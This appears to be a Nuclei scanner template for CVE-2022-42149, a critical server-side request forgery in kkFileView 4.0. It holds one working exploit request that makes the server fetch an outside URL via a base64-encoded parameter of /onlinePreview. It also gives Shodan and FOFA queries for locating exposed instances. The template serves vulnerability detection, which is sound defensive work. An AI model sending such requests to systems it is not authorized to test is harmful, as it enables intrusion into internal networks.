漏洞描述
kkFileView 4.0 contains a server-side request forgery caused by improper validation in OnlinePreviewController.java, letting attackers induce the server to make arbitrary requests, exploit requires sending crafted requests.
id: CVE-2022-42149
info:
name: kkFileView 4.0 - Server-Side Request Forgery
author: Arm!tage
severity: critical
description: |
kkFileView 4.0 contains a server-side request forgery caused by improper validation in OnlinePreviewController.java, letting attackers induce the server to make arbitrary requests, exploit requires sending crafted requests.
reference:
- https://github.com/kekingcn/kkFileView/issues/296
- https://nvd.nist.gov/vuln/detail/CVE-2022-42149
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-42149
cwe-id: CWE-918
epss-score: 0.42841
epss-percentile: 0.97323
cpe: cpe:2.3:a:keking:kkfileview:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: keking
product: kkfileview
shodan-query:
- http.html:"kkFileView"
- http.html:"kkfileview"
fofa-query:
- app="kkFileView"
- app="kkfileview"
- body="kkfileview"
tags: cve,cve2022,ssrf,kkfileview,keking,vuln
http:
- method: GET
path:
- "{{BaseURL}}/onlinePreview?url={{base64('http://oast.fun/robots.txt')}}"
extractors:
- type: regex
name: data
group: 1
regex:
- 'hidden id="textData" value="([A-Za-z0-9=]+)"\/>'
internal: true
matchers:
- type: dsl
dsl:
- contains(base64_decode(data), "Disallow")
# digest: 490a00463044022022196a6225b5798fffeffec2752c705c6c8d5f967dee4d6c27a2e77bc49f50ab02200e2f18f3821360fc23b2ec1c1906c507569eece695bb2d4ad3dfd117a02e6363:922c64590222798bb761d5b6d8e72950